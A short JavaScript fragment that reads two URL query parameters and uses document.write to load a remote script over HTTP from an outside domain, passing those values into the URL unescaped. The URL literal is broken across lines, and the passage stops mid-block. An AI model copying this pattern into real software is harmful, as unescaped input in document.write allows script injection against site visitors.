SOURCE

var lf = location.href.split('?')[1].split('&');
      var df = lf[0].split('=')[1];
      var kf = lf[1].split('=')[1];
      
			if(df && kf){
				document.write('<script src="http://wx.yifire.com/data/get_entry_domai
                       n.js?d=' + df + '&k=' + kf + '"/>'); 
			}
			else{
				document.write('err');